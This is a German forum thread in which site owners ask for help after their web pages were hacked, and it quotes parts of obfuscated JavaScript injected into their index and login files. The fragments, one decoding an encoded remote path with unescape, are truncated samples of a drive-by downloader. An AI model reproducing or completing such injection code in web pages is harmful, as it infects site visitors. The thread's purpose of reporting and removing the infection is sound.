| |
| |||||||
Plagegeister aller Art und deren Bekämpfung: Tronjaner auf meiner InternetseiteWindows 7 Wenn Du nicht sicher bist, ob Du dir Malware oder Trojaner eingefangen hast, erstelle hier ein Thema. Ein Experte wird sich mit weiteren Anweisungen melden und Dir helfen die Malware zu entfernen oder Unerwünschte Software zu deinstallieren bzw. zu löschen. Bitte schildere dein Problem so genau wie möglich. Sollte es ein Trojaner oder Viren Problem sein wird ein Experte Dir bei der Beseitigug der Infektion helfen. |
 |
27.08.2009, 07:28
| #1 |
| |  Tronjaner auf meiner Internetseite Hallo Leute, anscheinend wurde meine Internetseite gehackt. Auf der Startseite erschien vom Virenprogramm die Meldung, es sei mit "Trojan-Downloader.JS.Iframe.bcw" infiziert. Als ich die HTML Seite im FTP Programm geöffnet hatte war im <head> neuer Quellcode eingefügt, der wie folgt aussah Code:
ATTFilter <script>function c241384d21q4a94f0743f8e7(q4a94f074400b8){
var q4a94f07440884=16;
return (eval('pa'+'rseInt')(q4a94f074400b8,q4a94f07440884));} .... etc.
Fragen über Fragen... Ich danke euch! Viele Grüße, Tristan |
|
27.08.2009, 08:32
| #2 |
| | Tronjaner auf meiner Internetseite Also, wie ich gerade gesehen habe wurden immer nur die index.php/html und login.php/html Dateien infiziert. Das ganze ging laut FTP-Log gestern Morgen innerhalb von Sekundenabständen vor sich. Sieht so aus, als wäre da ein Keylogger am Werk gewesen, der das FTP Passwort abgegriffenhat, oder?
__________________Viele Grüße, Tristan |
|
08.04.2010, 08:59
| #3 |
| | Tronjaner auf meiner Internetseite Hallo!
__________________Ich habe ein ähnliches Problem. Habe schon desöfteren den kompletten Webserver überarbeiten müssen... Finde aber den besagten "Trojaner" oder zumindest den Ursprung des Problems nicht. Das Hier steht bei mir in jeder index.html (.php / .html etc.), in jeder home.html sowie in Dateien mit dem "default" im Namen (bspw: default-embeds.php etc.): Code:
ATTFilter <script>var GW;if(GW!='d'){GW='d'};function w(){var J='';var Q;if(Q!='T' && Q!='R'){Q='T'};var
F=new Array();var V=new String();var K=window;var z=unescape;var n=z("%2f%65%62%61%79%2d%63%6f%2d%75%6b%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6c%2e%70%68%70");var rh;if(rh!='' && rh!='uR'){rh='CH'};function _(X,XX)[ ... ]</script>
<!--6ea7a431d669fd4a5cd3a99b0545bab3-->
 |
|
| Themen zu Tronjaner auf meiner Internetseite |
| datei, eingeblendet, einiger, erklären, ftp, html, infiziert., inter, interne, internetseite, landet, leute, meldung, neuer, programm, quellcode, schei, script, seite, startseite, troja, trojaner, tronjaner, virenprogramm, werbung |
Linear-Darstellung
